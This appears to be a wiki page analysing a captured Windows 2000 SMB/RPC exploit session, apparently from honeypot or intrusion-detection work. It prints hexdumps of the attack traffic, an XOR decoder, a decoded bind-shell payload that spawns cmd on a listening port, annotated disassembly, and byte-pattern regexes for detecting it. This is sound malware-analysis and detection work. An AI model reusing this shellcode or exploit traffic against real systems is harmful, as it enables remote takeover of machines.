Schoenborn Shellcode

Shellcode

raw

hexdump

00000000  00 00 00 a4 ff 53 4d 42  73 00 00 00 00 18 07 c8  |...€ÿSMBs......È|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 ff fe  |..............ÿþ|
00000020  00 00 10 00 0c ff 00 a4  00 04 11 0a 00 00 00 00  |.....ÿ.€........|
00000030  00 00 00 20 00 00 00 00  00 d4 00 00 80 69 00 4e  |... .....Ô...i.N|
00000040  54 4c 4d 53 53 50 00 01  00 00 00 97 82 08 e0 00  |TLMSSP........à.|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  57 00 69 00 6e 00 64 00  6f 00 77 00 73 00 20 00  |W.i.n.d.o.w.s. .|
00000070  32 00 30 00 30 00 30 00  20 00 32 00 31 00 39 00  |2.0.0.0. .2.1.9.|
00000080  35 00 00 00 57 00 69 00  6e 00 64 00 6f 00 77 00  |5...W.i.n.d.o.w.|
00000090  73 00 20 00 32 00 30 00  30 00 30 00 20 00 35 00  |s. .2.0.0.0. .5.|
000000a0  2e 00 30 00 00 00 00 00  00 00 00 da ff 53 4d 42  |..0........ÚÿSMB|
000000b0  73 00 00 00 00 18 07 c8  00 00 00 00 00 00 00 00  |s......È........|
000000c0  00 00 00 00 00 00 ff fe  00 08 20 00 0c ff 00 da  |......ÿþ.. ..ÿ.Ú|
000000d0  00 04 11 0a 00 00 00 00  00 00 00 57 00 00 00 00  |...........W....|
000000e0  00 d4 00 00 80 9f 00 4e  54 4c 4d 53 53 50 00 03  |.Ô.....NTLMSSP..|
000000f0  00 00 00 01 00 01 00 46  00 00 00 00 00 00 00 47  |.......F.......G|
00000100  00 00 00 00 00 00 00 40  00 00 00 00 00 00 00 40  |.......@.......@|
00000110  00 00 00 06 00 06 00 40  00 00 00 10 00 10 00 47  |.......@.......G|
00000120  00 00 00 15 8a 88 e0 48  00 4f 00 44 00 00 ed 41  |......àH.O.D..íA|
00000130  2c 27 86 26 d2 59 a0 b3  5e aa 00 88 6f c5 57 00  |,'.&ÒY ³^ª..oÅW.|
00000140  69 00 6e 00 64 00 6f 00  77 00 73 00 20 00 32 00  |i.n.d.o.w.s. .2.|
00000150  30 00 30 00 30 00 20 00  32 00 31 00 39 00 35 00  |0.0.0. .2.1.9.5.|
00000160  00 00 57 00 69 00 6e 00  64 00 6f 00 77 00 73 00  |..W.i.n.d.o.w.s.|
00000170  20 00 32 00 30 00 30 00  30 00 20 00 35 00 2e 00  | .2.0.0.0. .5...|
00000180  30 00 00 00 00 00 00 00  00 5c ff 53 4d 42 75 00  |0........\ÿSMBu.|
00000190  00 00 00 18 07 c8 00 00  00 00 00 00 00 00 00 00  |.....È..........|
000001a0  00 00 00 00 ff fe 00 08  30 00 04 ff 00 5a 00 08  |....ÿþ..0..ÿ.Z..|
000001b0  00 01 00 31 00 00 5c 00  5c 00 31 00 39 00 32 00  |...1..\.\.1.9.2.|
000001c0  2e 00 33 00 35 00 2e 00  32 00 32 00 39 00 2e 00  |..3.5...2.2.9...|
000001d0  34 00 35 00 5c 00 49 00  50 00 43 00 24 00 00 00  |4.5.\.I.P.C.$...|
000001e0  3f 3f 3f 3f 3f 00 00 00  00 66 ff 53 4d 42 a2 00  |?????....fÿSMB¢.|
000001f0  00 00 00 18 07 c8 00 00  00 00 00 00 00 00 00 00  |.....È..........|
00000200  00 00 00 08 78 04 00 08  40 00 18 ff 00 de de 00  |....x...@..ÿ.ÞÞ.|
00000210  10 00 16 00 00 00 00 00  00 00 9f 01 02 00 00 00  |................|
00000220  00 00 00 00 00 00 00 00  00 00 00 00 00 00 01 00  |................|
00000230  00 00 40 00 00 00 02 00  00 00 03 13 00 00 5c 00  |..@...........\.|
00000240  62 00 72 00 6f 00 77 00  73 00 65 00 72 00 00 00  |b.r.o.w.s.e.r...|
00000250  00 00 00 9c ff 53 4d 42  25 00 00 00 00 18 07 c8  |....ÿSMB%......È|
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 08 78 04  |..............x.|
00000270  00 08 50 00 10 00 00 48  00 00 00 00 10 00 00 00  |..P....H........|
00000280  00 00 00 00 00 00 00 00  00 54 00 48 00 54 00 02  |.........T.H.T..|
00000290  00 26 00 00 40 59 00 00  5c 00 50 00 49 00 50 00  |.&..@Y..\.P.I.P.|
000002a0  45 00 5c 00 00 00 40 00  05 00 0b 03 10 00 00 00  |E.\...@.........|
000002b0  48 00 00 00 01 00 00 00  b8 10 b8 10 00 00 00 00  |H.......ž.ž.....|
000002c0  01 00 00 00 00 00 01 00  40 4e 9f 8d 3d a0 ce 11  |........@N..= Î.|
000002d0  8f 69 08 00 3e 30 05 1b  01 00 00 00 04 5d 88 8a  |.i..>0.......]..|
000002e0  eb 1c c9 11 9f e8 08 00  2b 10 48 60 02 00 00 00  |ë.É..è..+.H`....|
000002f0  00 00 08 90 ff 53 4d 42  25 00 00 00 00 18 07 c8  |....ÿSMB%......È|
00000300  00 00 00 00 00 00 00 00  00 00 00 00 00 08 78 04  |..............x.|
00000310  00 08 60 00 10 00 00 3c  08 00 00 00 01 00 00 00  |..`....<........|
00000320  00 00 00 00 00 00 00 00  00 54 00 3c 08 54 00 02  |.........T.<.T..|
00000330  00 26 00 00 40 4d 08 00  5c 00 50 00 49 00 50 00  |.&..@M..\.P.I.P.|
00000340  45 00 5c 00 00 00 40 00  05 00 00 03 10 00 00 00  |E.\...@.........|
00000350  3c 08 00 00 01 00 00 00  24 08 00 00 00 00 36 00  |<.......$.....6.|
00000360  11 00 00 00 00 00 00 00  11 00 00 00 52 00 4f 00  |............R.O.|
00000370  4f 00 54 00 5c 00 53 00  59 00 53 00 54 00 45 00  |O.T.\.S.Y.S.T.E.|
00000380  4d 00 5c 00 30 00 30 00  30 00 30 00 00 00 00 00  |M.\.0.0.0.0.....|
00000390  ff ff 00 00 e0 07 00 00  00 00 00 00 00 00 00 00  |ÿÿ..à...........|
000003a0  c0 07 00 00 00 00 00 00  90 90 90 90 90 90 90 90  |À...............|
000003b0  eb 08 90 90 67 15 7a 76  eb 08 90 90 67 15 7a 76  |ë...g.zvë...g.zv|
*
00000400  90 90 90 90 90 90 90 eb  08 90 90 48 4f 44 88 90  |.......ë...HOD..|
00000410  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000420  31 c9 83 e9 b0 d9 ee d9  74 24 f4 5b 81 73 13 02  |1É.é°ÙîÙt$ô[.s..|
00000430  eb 6f 15 83 eb fc e2 f4  fe 81 84 58 ea 12 90 ea  |ëo..ëüâôþ..Xê..ê|
00000440  fd 8b e4 79 26 cf e4 50  3e 60 13 10 7a ea 80 9e  |ý.äy&ÏäP>`..zê..|
00000450  4d f3 e4 4a 22 ea 84 5c  89 df e4 14 ec da af 8c  |MóäJ"ê.\.ßä.ìÚ¯.|
00000460  ae 6f af 61 05 2a a5 18  03 29 84 e1 39 bf 4b 3d  |®o¯a.*¥..).á9¿K=|
00000470  77 0e e4 4a 26 ea 84 73  89 e7 24 9e 5d f7 6e fe  |w.äJ&ê.s.ç$.]÷nþ|
00000480  01 c7 e4 9c 6e cf 73 74  c1 da b4 71 89 a8 5f 9e  |.Çä.nÏstÁÚŽq.š_.|
00000490  42 e7 e4 65 1e 46 e4 55  0a b5 07 9b 4c e5 83 45  |Bçäe.FäU.µ..Lå.E|
000004a0  fd 3d 09 46 64 83 5c 27  6a 9c 1c 27 5d bf 90 c5  |ý=.Fd.\'j..']¿.Å|
000004b0  6a 20 82 e9 39 bb 90 c3  5d 62 8a 73 83 06 67 17  |j .é9».Ã]b.s..g.|
000004c0  57 81 6d ea d2 83 b6 1c  f7 46 38 ea d4 b8 3c 46  |W.mêÒ.¶.÷F8êÔž<F|
000004d0  51 b8 2c 46 41 b8 90 c5  64 83 4d ad 64 b8 e6 f4  |Qž,FAž.Åd.M­džæô|
000004e0  97 83 cb 0f 72 2c 38 ea  d4 81 7f 44 57 14 bf 7d  |..Ë.r,8êÔ..DW.¿}|
000004f0  a6 46 41 fc 55 14 b9 46  57 14 bf 7d e7 a2 e9 5c  |ŠFAüU.¹FW.¿}ç¢é\|
00000500  55 14 b9 45 56 bf 3a ea  d2 78 07 f2 7b 2d 16 42  |U.¹EV¿:êÒx.ò{-.B|
00000510  fd 3d 3a ea d2 8d 05 71  64 83 0c 78 8b 0e 05 45  |ý=:êÒ..qd..x...E|
00000520  5b c2 a3 9c e5 81 2b 9c  e0 da af e6 a8 15 2d 38  |[£.å.+.àÚ¯æš.-8|
00000530  fc a9 43 86 8f 91 57 be  a9 40 07 67 fc 58 79 ea  |ü©C...WŸ©@.güXyê|
00000540  77 af 90 c3 59 bc 3d 44  53 ba 05 14 53 ba 3a 44  |w¯.ÃYŒ=DSº..Sº:D|
00000550  fd 3b 07 b8 db ee a1 46  fd 3d 05 ea fd dc 90 c5  |ý;.žÛî¡Fý=.êýÜ.Å|
00000560  89 bc 93 96 c6 8f 90 c3  50 14 bf 7d ed 25 8f 75  |.Œ..Æ..ÃP.¿}í%.u|
00000570  51 14 b9 ea d2 eb 6f 15  90 90 90 90 90 90 90 90  |Q.¹êÒëo.........|
00000580  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000b70  90 90 90 90 90 90 90 90  e0 07 00 00 04 00 00 00  |........à.......|
00000b80  00 00 00 00                                       |....|
00000b84

unxor'd

00000000  00 00 00 a4 ff 53 4d 42  73 00 00 00 00 18 07 c8  |...€ÿSMBs......È|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 ff fe  |..............ÿþ|
00000020  00 00 10 00 0c ff 00 a4  00 04 11 0a 00 00 00 00  |.....ÿ.€........|
00000030  00 00 00 20 00 00 00 00  00 d4 00 00 80 69 00 4e  |... .....Ô...i.N|
00000040  54 4c 4d 53 53 50 00 01  00 00 00 97 82 08 e0 00  |TLMSSP........à.|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  57 00 69 00 6e 00 64 00  6f 00 77 00 73 00 20 00  |W.i.n.d.o.w.s. .|
00000070  32 00 30 00 30 00 30 00  20 00 32 00 31 00 39 00  |2.0.0.0. .2.1.9.|
00000080  35 00 00 00 57 00 69 00  6e 00 64 00 6f 00 77 00  |5...W.i.n.d.o.w.|
00000090  73 00 20 00 32 00 30 00  30 00 30 00 20 00 35 00  |s. .2.0.0.0. .5.|
000000a0  2e 00 30 00 00 00 00 00  00 00 00 da ff 53 4d 42  |..0........ÚÿSMB|
000000b0  73 00 00 00 00 18 07 c8  00 00 00 00 00 00 00 00  |s......È........|
000000c0  00 00 00 00 00 00 ff fe  00 08 20 00 0c ff 00 da  |......ÿþ.. ..ÿ.Ú|
000000d0  00 04 11 0a 00 00 00 00  00 00 00 57 00 00 00 00  |...........W....|
000000e0  00 d4 00 00 80 9f 00 4e  54 4c 4d 53 53 50 00 03  |.Ô.....NTLMSSP..|
000000f0  00 00 00 01 00 01 00 46  00 00 00 00 00 00 00 47  |.......F.......G|
00000100  00 00 00 00 00 00 00 40  00 00 00 00 00 00 00 40  |.......@.......@|
00000110  00 00 00 06 00 06 00 40  00 00 00 10 00 10 00 47  |.......@.......G|
00000120  00 00 00 15 8a 88 e0 48  00 4f 00 44 00 00 ed 41  |......àH.O.D..íA|
00000130  2c 27 86 26 d2 59 a0 b3  5e aa 00 88 6f c5 57 00  |,'.&ÒY ³^ª..oÅW.|
00000140  69 00 6e 00 64 00 6f 00  77 00 73 00 20 00 32 00  |i.n.d.o.w.s. .2.|
00000150  30 00 30 00 30 00 20 00  32 00 31 00 39 00 35 00  |0.0.0. .2.1.9.5.|
00000160  00 00 57 00 69 00 6e 00  64 00 6f 00 77 00 73 00  |..W.i.n.d.o.w.s.|
00000170  20 00 32 00 30 00 30 00  30 00 20 00 35 00 2e 00  | .2.0.0.0. .5...|
00000180  30 00 00 00 00 00 00 00  00 5c ff 53 4d 42 75 00  |0........\ÿSMBu.|
00000190  00 00 00 18 07 c8 00 00  00 00 00 00 00 00 00 00  |.....È..........|
000001a0  00 00 00 00 ff fe 00 08  30 00 04 ff 00 5a 00 08  |....ÿþ..0..ÿ.Z..|
000001b0  00 01 00 31 00 00 5c 00  5c 00 31 00 39 00 32 00  |...1..\.\.1.9.2.|
000001c0  2e 00 33 00 35 00 2e 00  32 00 32 00 39 00 2e 00  |..3.5...2.2.9...|
000001d0  34 00 35 00 5c 00 49 00  50 00 43 00 24 00 00 00  |4.5.\.I.P.C.$...|
000001e0  3f 3f 3f 3f 3f 00 00 00  00 66 ff 53 4d 42 a2 00  |?????....fÿSMB¢.|
000001f0  00 00 00 18 07 c8 00 00  00 00 00 00 00 00 00 00  |.....È..........|
00000200  00 00 00 08 78 04 00 08  40 00 18 ff 00 de de 00  |....x...@..ÿ.ÞÞ.|
00000210  10 00 16 00 00 00 00 00  00 00 9f 01 02 00 00 00  |................|
00000220  00 00 00 00 00 00 00 00  00 00 00 00 00 00 01 00  |................|
00000230  00 00 40 00 00 00 02 00  00 00 03 13 00 00 5c 00  |..@...........\.|
00000240  62 00 72 00 6f 00 77 00  73 00 65 00 72 00 00 00  |b.r.o.w.s.e.r...|
00000250  00 00 00 9c ff 53 4d 42  25 00 00 00 00 18 07 c8  |....ÿSMB%......È|
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 08 78 04  |..............x.|
00000270  00 08 50 00 10 00 00 48  00 00 00 00 10 00 00 00  |..P....H........|
00000280  00 00 00 00 00 00 00 00  00 54 00 48 00 54 00 02  |.........T.H.T..|
00000290  00 26 00 00 40 59 00 00  5c 00 50 00 49 00 50 00  |.&..@Y..\.P.I.P.|
000002a0  45 00 5c 00 00 00 40 00  05 00 0b 03 10 00 00 00  |E.\...@.........|
000002b0  48 00 00 00 01 00 00 00  b8 10 b8 10 00 00 00 00  |H.......ž.ž.....|
000002c0  01 00 00 00 00 00 01 00  40 4e 9f 8d 3d a0 ce 11  |........@N..= Î.|
000002d0  8f 69 08 00 3e 30 05 1b  01 00 00 00 04 5d 88 8a  |.i..>0.......]..|
000002e0  eb 1c c9 11 9f e8 08 00  2b 10 48 60 02 00 00 00  |ë.É..è..+.H`....|
000002f0  00 00 08 90 ff 53 4d 42  25 00 00 00 00 18 07 c8  |....ÿSMB%......È|
00000300  00 00 00 00 00 00 00 00  00 00 00 00 00 08 78 04  |..............x.|
00000310  00 08 60 00 10 00 00 3c  08 00 00 00 01 00 00 00  |..`....<........|
00000320  00 00 00 00 00 00 00 00  00 54 00 3c 08 54 00 02  |.........T.<.T..|
00000330  00 26 00 00 40 4d 08 00  5c 00 50 00 49 00 50 00  |.&..@M..\.P.I.P.|
00000340  45 00 5c 00 00 00 40 00  05 00 00 03 10 00 00 00  |E.\...@.........|
00000350  3c 08 00 00 01 00 00 00  24 08 00 00 00 00 36 00  |<.......$.....6.|
00000360  11 00 00 00 00 00 00 00  11 00 00 00 52 00 4f 00  |............R.O.|
00000370  4f 00 54 00 5c 00 53 00  59 00 53 00 54 00 45 00  |O.T.\.S.Y.S.T.E.|
00000380  4d 00 5c 00 30 00 30 00  30 00 30 00 00 00 00 00  |M.\.0.0.0.0.....|
00000390  ff ff 00 00 e0 07 00 00  00 00 00 00 00 00 00 00  |ÿÿ..à...........|
000003a0  c0 07 00 00 00 00 00 00  90 90 90 90 90 90 90 90  |À...............|
000003b0  eb 08 90 90 67 15 7a 76  eb 08 90 90 67 15 7a 76  |ë...g.zvë...g.zv|
*
00000400  90 90 90 90 90 90 90 eb  08 90 90 48 4f 44 88 90  |.......ë...HOD..|
00000410  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000420  31 c9 83 e9 b0 d9 ee d9  74 24 f4 5b 81 73 13 02  |1É.é°ÙîÙt$ô[.s..|
00000430  eb 6f 15 83 eb fc e2 f4  fc 6a eb 4d e8 f9 ff ff  |ëo..ëüâôüjëMèùÿÿ|
00000440  ff 60 8b 6c 24 24 8b 45  3c 8b 7c 05 78 01 ef 8b  |ÿ`.l$$.E<.|.x.ï.|
00000450  4f 18 8b 5f 20 01 eb 49  8b 34 8b 01 ee 31 c0 99  |O.._ .ëI.4..î1À.|
00000460  ac 84 c0 74 07 c1 ca 0d  01 c2 eb f4 3b 54 24 28  |¬.Àt.ÁÊ..Âëô;T$(|
00000470  75 e5 8b 5f 24 01 eb 66  8b 0c 4b 8b 5f 1c 01 eb  |uå._$.ëf..K._..ë|
00000480  03 2c 8b 89 6c 24 1c 61  c3 31 db 64 8b 43 30 8b  |.,..l$.aÃ1Ûd.C0.|
00000490  40 0c 8b 70 1c ad 8b 40  08 5e 68 8e 4e 0e ec 50  |@..p.­.@.^h.N.ìP|
000004a0  ff d6 66 53 66 68 33 32  68 77 73 32 5f 54 ff d0  |ÿÖfSfh32hws2_TÿÐ|
000004b0  68 cb ed fc 3b 50 ff d6  5f 89 e5 66 81 ed 08 02  |hËíü;PÿÖ_.åf.í..|
000004c0  55 6a 02 ff d0 68 d9 09  f5 ad 57 ff d6 53 53 53  |Uj.ÿÐhÙ.õ­WÿÖSSS|
000004d0  53 53 43 53 43 53 ff d0  66 68 22 b8 66 53 89 e1  |SSCSCSÿÐfh"žfS.á|
000004e0  95 68 a4 1a 70 c7 57 ff  d6 6a 10 51 55 ff d0 68  |.h€.pÇWÿÖj.QUÿÐh|
000004f0  a4 ad 2e e9 57 ff d6 53  55 ff d0 68 e5 49 86 49  |€­.éWÿÖSUÿÐhåI.I|
00000500  57 ff d6 50 54 54 55 ff  d0 93 68 e7 79 c6 79 57  |WÿÖPTTUÿÐ.hçyÆyW|
00000510  ff d6 55 ff d0 66 6a 64  66 68 63 6d 89 e5 6a 50  |ÿÖUÿÐfjdfhcm.åjP|
00000520  59 29 cc 89 e7 6a 44 89  e2 31 c0 f3 aa fe 42 2d  |Y)Ì.çjD.â1ÀóªþB-|
00000530  fe 42 2c 93 8d 7a 38 ab  ab ab 68 72 fe b3 16 ff  |þB,..z8«««hrþ³.ÿ|
00000540  75 44 ff d6 5b 57 52 51  51 51 6a 01 51 51 55 51  |uDÿÖ[WRQQQj.QQUQ|
00000550  ff d0 68 ad d9 05 ce 53  ff d6 6a ff ff 37 ff d0  |ÿÐh­Ù.ÎSÿÖjÿÿ7ÿÐ|
00000560  8b 57 fc 83 c4 64 ff d6  52 ff d0 68 ef ce e0 60  |.Wü.ÄdÿÖRÿÐhïÎà`|
00000570  53 ff d6 ff d0 00 00 00  90 90 90 90 90 90 90 90  |SÿÖÿÐ...........|
00000580  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000b70  90 90 90 90 90 90 90 90  e0 07 00 00 04 00 00 00  |........à.......|
00000b80  00 00 00 00                                       |....|
00000b84

Analysis

XOR decoder "schoenborn xor"

00000420                 xor     ecx, ecx
00000422                 sub     ecx, 0FFFFFFB0h
00000425                 fldz
00000427                 fnstenv byte ptr [esp-0Ch]
0000042B                 pop     ebx
0000042C
0000042C loc_42C:                                
0000042C                 xor     dword ptr [ebx+13h], 156FEB02h
00000433                 sub     ebx, 0FFFFFFFCh
00000436                 loop    loc_42C

unxor'd shellcode

00000438                 cld
00000438 ; ---------------------------------------------------------------------------
00000439                 db  6Ah ; j
0000043A ; ---------------------------------------------------------------------------
0000043A
0000043A loc_43A:
0000043A                 jmp     short loc_489
0000043C ; ---------------------------------------------------------------------------
0000043C                 call    loc_43A
00000441
00000441 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
00000441
00000441
00000441 sub_441         proc near
00000441                 pusha
00000442                 mov     ebp, [esp+24h]  ; ebp=hKernel32
00000446                 mov     eax, [ebp+3Ch]  ; eax=RVA of PE Header of Kernel32
00000449                 mov     edi, [ebp+eax+78h] ; edi=RVA of ExportTable
0000044D                 add     edi, ebp        ; edi=VA of ExportTable
0000044F                 mov     ecx, [edi+18h]
00000452                 mov     ebx, [edi+20h]  ; ebx=RVA of Export Pointer
00000455                 add     ebx, ebp
00000457
00000457 loc_457:
00000457                 dec     ecx
00000458                 mov     esi, [ebx+ecx*4]
0000045B                 add     esi, ebp
0000045D                 xor     eax, eax
0000045F                 cdq
00000460
00000460 loc_460:
00000460                 lodsb
00000461                 test    al, al
00000463                 jz      short loc_46C
00000465                 ror     edx, 0Dh
00000468                 add     edx, eax
0000046A                 jmp     short loc_460
0000046C ; ---------------------------------------------------------------------------
0000046C
0000046C loc_46C:
0000046C                 cmp     edx, [esp+28h]
00000470                 jnz     short loc_457
00000472                 mov     ebx, [edi+24h]
00000475                 add     ebx, ebp
00000477                 mov     cx, [ebx+ecx*2]
0000047B                 mov     ebx, [edi+1Ch]
0000047E                 add     ebx, ebp
00000480                 add     ebp, [ebx+ecx*4]
00000483                 mov     [esp+1Ch], ebp
00000487                 popa
00000488                 retn
00000488 sub_441         endp
00000488
00000489 ; ---------------------------------------------------------------------------
00000489
00000489 loc_489:
00000489                 xor     ebx, ebx
0000048B                 mov     eax, fs:[ebx+30h]
0000048F                 mov     eax, [eax+0Ch]
00000492                 mov     esi, [eax+1Ch]
00000495                 lodsd
00000496                 mov     eax, [eax+8]
00000499                 pop     esi             ; esi=00000441
0000049A                 push    0EC0E4E8Eh
0000049F                 push    eax             ; eax=hKernel32
000004A0                 call    esi             ; eax=ptrLoadLibrary
000004A2                 push    bx
000004A4                 push    small '23'
000004A8                 push    '_2sw'
000004AD                 push    esp
000004AE                 call    eax             ; LoadLibrary (ws2_32)
000004B0                 push    3BFCEDCBh       ; WSAStartup
000004B5                 push    eax             ; eax=hWS2_32
000004B6                 call    esi             ; esi=00000441
000004B8                 pop     edi
000004B9                 mov     ebp, esp
000004BB                 sub     bp, 208h
000004C0                 push    ebp
000004C1                 push    2
000004C3                 call    eax
000004C5                 push    0ADF509D9h      ; WSASocketA
000004CA                 push    edi
000004CB                 call    esi             ; eax=ptr WSASocketA
000004CD                 push    ebx
000004CE                 push    ebx
000004CF                 push    ebx
000004D0                 push    ebx
000004D1                 push    ebx
000004D2                 inc     ebx
000004D3                 push    ebx
000004D4                 inc     ebx
000004D5                 push    ebx
000004D6                 call    eax
000004D8                 push    small 0B822h    ; sockaddr.sin_port
000004DC                 push    bx              ; sockaddr.sin_family
000004DE                 mov     ecx, esp
000004E0                 xchg    eax, ebp
000004E1                 push    0C7701AA4h      ; bind
000004E6                 push    edi
000004E7                 call    esi
000004E9                 push    10h
000004EB                 push    ecx
000004EC                 push    ebp
000004ED                 call    eax
000004EF                 push    0E92EADA4h      ; listen
000004F4                 push    edi
000004F5                 call    esi
000004F7                 push    ebx
000004F8                 push    ebp
000004F9                 call    eax
000004FB                 push    498649E5h       ; accept
00000500                 push    edi
00000501                 call    esi
00000503                 push    eax
00000504                 push    esp
00000505                 push    esp
00000506                 push    ebp
00000507                 call    eax
00000509                 xchg    eax, ebx
0000050A                 push    79C679E7h       ; closesocket
0000050F                 push    edi
00000510                 call    esi
00000512                 push    ebp
00000513                 call    eax
00000515                 push    small 64h
00000518                 push    small 6D63h
0000051C                 mov     ebp, esp
0000051E                 push    50h ; 'P'
00000520                 pop     ecx
00000521                 sub     esp, ecx
00000523                 mov     edi, esp
00000525                 push    44h ; 'D'
00000527                 mov     edx, esp
00000529                 xor     eax, eax
0000052B                 rep stosb
0000052D                 inc     byte ptr [edx+2Dh]
00000530                 inc     byte ptr [edx+2Ch]
00000533                 xchg    eax, ebx
00000534                 lea     edi, [edx+38h]
00000537                 stosd
00000538                 stosd
00000539                 stosd
0000053A                 push    16B3FE72h       ; CreateProcessA
0000053F                 push    dword ptr [ebp+44h]
00000542                 call    esi             ; eax=ptr CreateProcess
00000544                 pop     ebx
00000545                 push    edi
00000546                 push    edx
00000547                 push    ecx
00000548                 push    ecx
00000549                 push    ecx
0000054A                 push    1
0000054C                 push    ecx
0000054D                 push    ecx
0000054E                 push    ebp
0000054F                 push    ecx
00000550                 call    eax
00000552                 push    0CE05D9ADh      ; WaitForSingleObject
00000557                 push    ebx
00000558                 call    esi
0000055A                 push    0FFFFFFFFh
0000055C                 push    dword ptr [edi]
0000055E                 call    eax
00000560                 mov     edx, [edi-4]
00000563                 add     esp, 64h
00000566                 call    esi
00000568                 push    edx
00000569                 call    eax
0000056B                 push    60E0CEEFh       ; ExitThread
00000570                 push    ebx
00000571                 call    esi
00000573                 call    eax

shellcode patterns

xor

"\\x31\\xC9\\x83\\xE9(.)\\xD9\\xEE\\xD9\\x74\\x24\\xF4\\x5B\\x81\\x73\\x13(....)\\x83"
"\\xEB\\xFC\\xE2\\xF4(.*)$"

bindshell

"\\xFC\\x6A\\xEB\\x4D\\xE8\\xF9\\xFF\\xFF\\xFF\\x60\\x8B\\x6C\\x24\\x24\\x8B\\x45\\x3C\\x8B"
"\\x7C\\x05\\x78\\x01\\xEF\\x8B\\x4F\\x18\\x8B\\x5F\\x20\\x01\\xEB\\x49\\x8B\\x34\\x8B\\x01"
"\\xEE\\x31\\xC0\\x99\\xAC\\x84\\xC0\\x74\\x07\\xC1\\xCA\\x0D\\x01\\xC2\\xEB\\xF4\\x3B\\x54"
"\\x24\\x28\\x75\\xE5\\x8B\\x5F\\x24\\x01\\xEB\\x66\\x8B\\x0C\\x4B\\x8B\\x5F\\x1C\\x01\\xEB"
"\\x03\\x2C\\x8B\\x89\\x6C\\x24\\x1C\\x61\\xC3\\x31\\xDB\\x64\\x8B\\x43\\x30\\x8B\\x40\\x0C"
"\\x8B\\x70\\x1C\\xAD\\x8B\\x40\\x08\\x5E\\x68\\x8E\\x4E\\x0E\\xEC\\x50\\xFF\\xD6\\x66\\x53"
"\\x66\\x68\\x33\\x32\\x68\\x77\\x73\\x32\\x5F\\x54\\xFF\\xD0\\x68\\xCB\\xED\\xFC\\x3B\\x50"
"\\xFF\\xD6\\x5F\\x89\\xE5\\x66\\x81\\xED\\x08\\x02\\x55\\x6A\\x02\\xFF\\xD0\\x68\\xD9\\x09"
"\\xF5\\xAD\\x57\\xFF\\xD6\\x53\\x53\\x53\\x53\\x53\\x43\\x53\\x43\\x53\\xFF\\xD0\\x66\\x68(..)"
"\\x66\\x53\\x89\\xE1\\x95\\x68\\xA4\\x1A\\x70\\xC7\\x57\\xFF\\xD6\\x6A\\x10\\x51\\x55\\xFF"
"\\xD0\\x68\\xA4\\xAD\\x2E\\xE9\\x57\\xFF\\xD6\\x53\\x55\\xFF\\xD0\\x68\\xE5\\x49\\x86\\x49"
"\\x57\\xFF\\xD6\\x50\\x54\\x54\\x55\\xFF\\xD0\\x93\\x68\\xE7\\x79\\xC6\\x79\\x57\\xFF\\xD6"
"\\x55\\xFF\\xD0\\x66\\x6A\\x64\\x66\\x68\\x63\\x6D\\x89\\xE5\\x6A\\x50\\x59\\x29\\xCC\\x89"
"\\xE7\\x6A\\x44\\x89\\xE2\\x31\\xC0\\xF3\\xAA\\xFE\\x42\\x2D\\xFE\\x42\\x2C\\x93\\x8D\\x7A"
"\\x38\\xAB\\xAB\\xAB\\x68\\x72\\xFE\\xB3\\x16\\xFF\\x75\\x44\\xFF\\xD6\\x5B\\x57\\x52\\x51"
"\\x51\\x51\\x6A\\x01\\x51\\x51\\x55\\x51\\xFF\\xD0\\x68\\xAD\\xD9\\x05\\xCE\\x53\\xFF\\xD6"
"\\x6A\\xFF\\xFF\\x37\\xFF\\xD0\\x8B\\x57\\xFC\\x83\\xC4\\x64\\xFF\\xD6\\x52\\xFF\\xD0\\x68"
"\\xEF\\xCE\\xE0\\x60\\x53\\xFF\\xD6\\xFF\\xD0"
 
csni/shellcodes/schoenborn.txt · Last modified: 2006/02/17 14:01
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki